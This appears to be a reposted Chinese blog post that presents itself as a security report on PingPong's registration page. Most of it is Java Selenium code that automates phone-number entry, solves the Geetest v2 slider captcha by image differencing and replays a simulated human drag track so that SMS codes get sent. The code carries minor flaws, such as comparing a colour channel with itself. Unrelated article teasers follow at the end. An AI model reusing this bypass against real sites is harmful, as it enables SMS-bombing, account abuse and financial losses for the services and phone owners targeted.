注册安全分析报告:PingPong

前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何?请看具体分析。

一、 PingPong PC端注册入口

简介:杭州乒乓智能技术有限公司(简称PingPong)成立于2015年,诞生于全球跨境电子交易蓬勃发展的浪潮中,是跨境行业的创新推动者。目前,PingPong在全球设有超30个分支机构,业务覆盖超200个国家和地区。
以遍布全球的运营服务网络、主流国家地区支付牌照和合规资质为依托, PingPong围绕中小企业、科技企业、金融机构等出海的综合需求,建立了涵盖跨境收款、外贸B2B收付款、全球收单、全球分发、供应链融资、汇率风险中性解决方案、出口退税、VAT税务服务、企业费用管理、SaaS企业服务等多元化的产品矩阵,可为不同类型的客户提供合规、安全、便捷的一站式数字化服务。
在这里插入图片描述

二、 安全性分析报告:

采用极验的V2版本,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
在这里插入图片描述

三、 测试方法:

前端界面分析, 采用的是极验2.0,最大特点就是将图片做分割后,在前端再做合并,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
在这里插入图片描述

  1. 模拟器交互部分

public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			driver.get(INDEX_URL);

			// 输入手机号
			WebElement phoneElement = driver.findElement(By.xpath("//input[@class='el-input__inner' and contains(@placeholder,'手机号')]"));
			phoneElement.click();
			for (int i = 0; i < phone.length(); i++) {
				phoneElement.sendKeys(String.valueOf(phone.charAt(i)));
				phoneElement.click();
			}
			// 点击出现滑动图
			WebElement clickElemet = ChromeDriverManager.waitElement(driver, By.className("position-right"), 10);
			clickElemet.click();
			Thread.sleep(2000);

			String msg = this.getText(driver);
			System.out.println("before msg=" + msg);
			if (msg == null || "获取验证码".equals(msg)) {
				// 滑动结果
				boolean result = geetApi.getAndMove(driver, 6);
				if (result) {
					Thread.sleep(2000);
					msg = this.getText(driver);
				}
				System.out.println("after msg=" + msg + "->result=" + result);
			}
			RetEntity retEntity = new RetEntity();

			if (msg != null && msg.contains("再次发送")) {
				retEntity.setRet(0);
				retEntity.setMsg(msg);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println(e.toString());
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

  1. 获取滑动图片及调用移动交互
public boolean getAndMove(WebDriver driver, Integer offSet) {
		int distance = -1;
		try {
			WebElement moveElement = ChromeDriverManager.waitElement(driver, By.className("geetest_slider_button"), 1000);
			if (moveElement == null) {
				logger.error("getAndMove() moveElement=" + moveElement);
				return false;
			}

			// 下面的js代码根据canvas文档说明而来
			// 完整背景图geetest_canvas_fullbg geetest_fade geetest_absolute
			StringBuffer base64 = new StringBuffer();
			String fullName = "geetest_canvas_fullbg geetest_fade geetest_absolute";
			byte[] fullImg = GetImage.callJsByName(driver, fullName, base64);

			String bgName = "geetest_canvas_bg geetest_absolute";
			byte[] bgImg = GetImage.callJsByName(driver, bgName, base64);
			File fullFile = null, bgFile = null;
			if (fullImg != null && bgImg != null) {
				Long time = System.currentTimeMillis();

				fullFile = new File(dataPath + "geet/" + time + "full.png");
				FileUtils.writeByteArrayToFile(fullFile, fullImg);
				bgFile = new File(dataPath + "geet/" + time + "bg.png");
				FileUtils.writeByteArrayToFile(bgFile, bgImg);
				if (fullImg.length < 10000) {
					System.out.println("fullImg len=" + fullImg.length + " -> err[len<10000]");
					return false;
				}
			}
			// 获取滑动距离并删除图片
			distance = (fullFile != null && bgFile != null) ? ActionMove.getMoveDistance(fullFile.getAbsolutePath(), bgFile.getAbsolutePath()) : -1;
			if (distance < 1) {
				logger.error("getAndMove distance=" + distance);
				return false;
			}

			if (offSet != null)
				ActionMove.move(driver, moveElement, distance - offSet);
			else
				ActionMove.move(driver, moveElement, distance);
			// 滑动结果
			Thread.sleep(1 * 1000);
			WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_content"), 10);
			String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
			if (gtInfo != null) {
				System.out.println("gtInfo=" + gtInfo);
				if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
					return true;
				}
			} else {
				String msg = driver.findElement(By.className("geetest_panel_success_title")).getAttribute("innerText");
				System.out.println("msg=" + msg);
			}

			return false;
		} catch (Exception e) {
			System.out.println("getAndMove() " + e.toString());
			logger.error(e.toString());
			return false;
		}
	}

2. 距离识别

/**
	 * 计算需要平移的距离
	 * 
	 * @param fullImgPath
	 *            完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	public static int getMoveDistance(String fullImgPath, String bgImgPath) {
		System.out.println("fullImgPath=" + fullImgPath);
		File fullFile = new File(fullImgPath);
		File bgFile = new File(bgImgPath);
		boolean fullExists = fullFile.exists();
		boolean bgExists = bgFile.exists();
		if (fullExists && bgExists) {
			String abPath = bgFile.getAbsolutePath();
			int l = abPath.lastIndexOf(".");
			String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
			return getComareImg(fullFile, bgFile, out);
		} else {
			System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
			return -1;
		}
	}
/**
	 * 计算需要平移的距离
	 * 
	 * @param driver
	 * @param fullImgPath完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	private static int getComareImg(Object fullObj, Object bgObj, String out) {
		System.out.println("getComareImg() begin");
		try {
			if (fullObj == null || bgObj == null) {
				return -1;
			}
			BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
			BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
			List<Integer> list;
			Color ca, cb;
			Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
			// 将头35列的最大不同值取出, 作为右边图像的基础差
			Long tifTotl = 0L;
			int tifLeft = 0;
			int tifCount = 0;
			for (int i = 0; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (i <= 35 && tifLeft < diff) {
						tifLeft = (diff >= 255) ? 255 : diff;
					} else if (diff > tifLeft) {
						tifTotl += diff;
						tifCount++;
					}
				}
			}

			Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
			if (tifLeft <= 0 && tifAvg >= 2) {
				tifAvg = tifAvg / 2;
			}
			for (int i = 35; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (diff >= tifAvg) {
						list = xMap.get(i);
						if (list == null) {
							list = new ArrayList<Integer>();
							xMap.put(i, list);
						}
						list.add(j);
						xMap.put(i, list);
					}
				}
			}
			System.out.println("  |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());

			int minX = 0;
			int maxX = 0;
			for (Integer x : xMap.keySet()) {
				list = xMap.get(x);
				minX = (minX == 0) ? x : minX;
				maxX = x;
				for (int y : list) {
					cb = new Color(bgBI.getRGB(x, y));
					int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
					bgBI.setRGB(x, y, gray);
				}
			}

			// 标记直线位置
			for (int y = 0; y < bgBI.getHeight(); y++) {
				bgBI.setRGB(minX, y, Color.red.getRGB());
			}
			int width = maxX - minX;
			File destFile = new File(out);
			Thumbnails.of(bgBI).scale(1f).toFile(destFile);
			System.out.println("  |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
			return minX;
		} catch (Exception e) {
			System.out.println(e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				System.out.println(elment.toString());
			}
			logger.error("getMoveDistance() err = " + e.toString());
			return 0;
		}
	}

	private static int diff(Color ca, Color cb) {
		int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
		return d;
	}

3. 轨道生成及移动算法

/**
	 * 双轴轨道生成算法,主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}
/**
	 * 模拟人工移动
	 * 
	 * @param driver
	 * @param element页面滑块
	 * @param distance需要移动距离
	 * @throws InterruptedException
	 */
	public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
		List<Integer[]> track = getXyTrack(distance);
		if (track == null || track.size() < 1) {
			System.out.println("move() track=" + track);
		}
		int moveY, moveX;
		StringBuffer sb = new StringBuffer();
		try {
			Actions actions = new Actions(driver);
			actions.clickAndHold(element).perform();
			Thread.sleep(20);
			long begin, cost;
			Integer[] move;
			int sum = 0;
			for (int i = 0; i < track.size(); i++) {
				begin = System.currentTimeMillis();
				move = track.get(i);
				moveX = move[0];
				sum += moveX;
				moveY = move[1];
				if (moveX < 0) {
					if (sb.length() > 0) {
						sb.append(",");
					}
					sb.append(moveX);
				}
				actions.moveByOffset(moveX, moveY).perform();
				cost = System.currentTimeMillis() - begin;
				if (cost < 3) {
					Thread.sleep(3 - cost);
				}
			}
			if (sb.length() > 0) {
				System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
			}
			Thread.sleep(180);
			actions.release(element).perform();
			Thread.sleep(500);
		} catch (Exception e) {
			StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			logger.error(er.toString());
			System.out.println(er.toString());
		}
	}
  1. 图片比对结果测试样例:
    在这里插入图片描述

四丶结语

PingPong 作为拥有支付牌照的支付公司, 跨境行业的创新推动者, 采用的是通俗的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/722101.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言中的内存动态管理

1.为什么有动态内存管理 int a20;//开辟4个字节 int arr[10]{0};//开辟40个字节 上述的代码有两个特点 1.开辟空间的大小是固定的。 2.数组在申明的时候已经固定了大小&#xff0c;无法更改。 这样写代码不够灵活&#xff0c;所以c语言中引入了动态内存管理&#xff0c;让程序…

uniapp使用md5加密

目录 一、安装md5 二、在main.js中全局引入并挂载到vue实例中 三、使用md5加密 一、安装md5 在终端输入 npm install js-md5 -D 二、在main.js中全局引入并挂载到vue实例中 import Md5 from js-md5 Vue.prototype.$md5 Md5 三、使用md5加密 let password_md5 this.$md…

在PHP项目中使用阿里云消息队列MQ集成RabbitMQ的完整指南与问题解决

在现代Web应用程序中&#xff0c;消息队列系统扮演着至关重要的角色&#xff0c;帮助开发者实现异步处理、削峰填谷、任务调度等功能。阿里云消息队列MQ作为一种高可用、可伸缩的消息队列服务&#xff0c;为开发者提供了可靠的消息投递和处理能力。而RabbitMQ则是一种广泛使用的…

GIS设计与开发课程设计(三)

环境&#xff1a;Windows10专业版 ArcGIS10.2 ArcEngine10.2 Visual Studio 2019 因每个人电脑版本和软件版本不同&#xff0c;运行的结果可能不同 系列文章&#xff1a; GIS设计与开发课程设计&#xff08;一&#xff09; GIS设计与开发课程设计&#xff08;二&#xff09;…

【机器学习300问】123、什么是GRU?GRU网络的基本结构是怎样的?

在之前的文章中&#xff0c;我们谈到了标准RNN所面临的诸多困境&#xff0c;你也可以理解为RNN的缺点。其中最让人苦恼的就是梯度消失问题&#xff0c;正是由于梯度消失问题的存在&#xff0c;导致RNN无法获得上下文的长期依赖信息。那么就没有办法解决了吗&#xff1f;非也&am…

深入解析纹理贴图——纹理压缩技术

by STANCH 标签&#xff1a;#纹理压缩 #纹理贴图 1.纹理压缩概述 3D计算机图形学离不开各种类型的纹理。纹理贴图可以极大地提高3D物体的视觉质量和细节水平,而不增加几何复杂度。简单的纹理是二维图像&#xff0c;该图像的单个像素称为纹素(texel)。事实上,纹理不仅可以存储…

chrome的插件怎么获取到安装包

问: chrome的插件怎么获取到安装包 回答: 在chrome浏览器输入: chrome://version/ 复制: 个人资料路径, 打开这个路径, 在文件中打开Extensions这个文件夹, 这个文件夹就是存放插件安装包的文件夹.

Mac 安装HomeBrew(亲测成功)

1、终端安装命令&#xff1a; /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"执行后&#xff0c;没有安装git&#xff0c;会先安装&#xff0c;安装后再执行一下命令。 2、根据中文选择源安装 3、相关命令 查看版本号&a…

Jmeter如何进行分布式测试

使用Jmeter进行性能测试时&#xff0c;有些同学问我如果并发数比较大(比如最近项目需要支持1000并发)&#xff0c;单台电脑的配置(CPU和内存)可能无法支持&#xff0c;怎么办就需要使用分布式压测 1.分布式原理&#xff1a; 1、Jmeter分布式测试时&#xff0c;选择其中一台作…

深度剖析ElasticSearch分页原理与深分页问题|ES深分页问题|ES分页原理剖析

文章目录 ES分页|Paginate search resultsES深分页的问题一页获取数据量太大&#xff0c;报错分页深度太大&#xff0c;报错官方解释 其他解决方案Search after解决两个问题 有没有深分页查询的必要性&#xff1f;search after & PIT的使用方式1.创建pit2.首次查询3.之后的…

Opencv高级图像处理

文章目录 Opencv高级图像处理图像坐标二值化滤波高斯滤波中值滤波 开闭运算检测霍夫圆检测边缘检测Canny边缘检测findContours区别傅里叶变换-高/低通滤波 直线检测 相机标定视频处理视频格式 模板摄像头处理&#xff08;带参调节&#xff09;单图片处理&#xff08;带参调节&a…

JAVA上门家政服务系统源码微信小程序+微信公众号+APP+H5

&#x1f3e0;家政服务系统&#xff1a;一键预约&#xff0c;轻松享受家居生活&#x1f389; 功能介绍 用户端&#xff1a;精准分类、支持家政、维修、万能服务、一口价、报价、线上、各类家政服务、优惠专区、师傅入驻、商家入驻、我的需求、补费明细、我的投诉 师傅端&…

基于Spring Boot+VUE旧物置换网站

1前台首页功能模块 旧物置换网站&#xff0c;在系统首页可以查看首页、旧物信息、网站公告、个人中心、后台管理等内容&#xff0c;如图1所示。 图1系统功能界面图 用户注册&#xff0c;在用户注册页面通过填写用户名、密码、姓名、性别、头像、手机、邮箱等内容进行用户注册&…

Linux 系统图像化编程GTK入门

环境前期准备 演示环境&#xff1a;Windows 11 Ubuntu 22.04.4 VS Code 前提条件&#xff1a;1、Windows 11 子系统Ubuntu 22.04.4 已经安装图形化界面&#xff0c;如果没有安装请参考文章&#xff1a; windows11子系统Ubuntu 22.04.4子安装图形化界面 2、Ubuntu 22.04.4…

小程序餐饮点餐系统,扫码下单点菜,消费端+配送端+收银端+理端

目录 前言&#xff1a; 一、小程序功能有哪些 前端&#xff1a; 管理端&#xff1a; 二、实体店做小程序的好处 方便快捷的点餐和支付体验&#xff1a; 扩大店铺的曝光度和影响力&#xff1a; 优化顾客体验和服务质量&#xff1a; 降低成本和提高效率&#xff1a; 数据…

iview 组件里面的(任何一个月)整月日期全部选中_iview时间轴选中有历史记录日期

iview 组件里面的整月日期全部选中&#xff1a; ①&#xff1a;第一种是当前月的日期全部选中&#xff1a; 先上效果图&#xff1a;当前月分 获取到的值&#xff1a; 当前月的方法&#xff1a; // getDateStr() {// var curDate new Date();// var curMonth curDate.ge…

K8s的资源对象

资源对象是 K8s 提供的一些管理和运行应用容器的各种对象和组件。 Pod 资源是 K8s 中的基本部署单元&#xff0c;K8s通过Pod来运行业务应用的容器镜像 Job 和 CronJob 资源用于执行任务和定时任务&#xff0c;DaemonSet 资源提供类似每个节点上守护进程&#xff0c; Deployment…

WPF 深入理解四、样式

样式 WPF中的各类控件元素,都可以自由的设置其样式。 诸如: 字体(FontFamily) 字体大小(FontSize) 背景颜色(Background) 字体颜色(Foreground) 边距(Margin) 水平位置(HorizontalAlignment) 垂直位置(VerticalAlignment)等等。 而样式则是组织和重用以上的重要工具。不是使…

Nginx缓存之web缓存配置

Web 缓存可节约网络带宽&#xff0c;有效提高用户打开网站的速度。由于应用服务器被请求次数的降低&#xff0c;也相对使它的稳定性得到了提升。Web 缓存从数据内容传输的方向分为前向位置缓存和反向位置缓存两类。如下图所示。 前向位置缓存既可以是用户的客户端浏览器&#x…

iOS 18 Siri 升级之后都有哪些改变?

新界面 首先最显著的改变就是 Siri 的界面不同了&#xff0c;之前的界面是在打开 Siri 之后会出现一个圆形图案&#xff0c;而在 Siri 升级之后变成了屏幕边缘发出亮光。 来源&#xff1a;Apple 可在任意位置使用 苹果的生成式人工智能 Apple Intelligence 将为 Siri 提供支…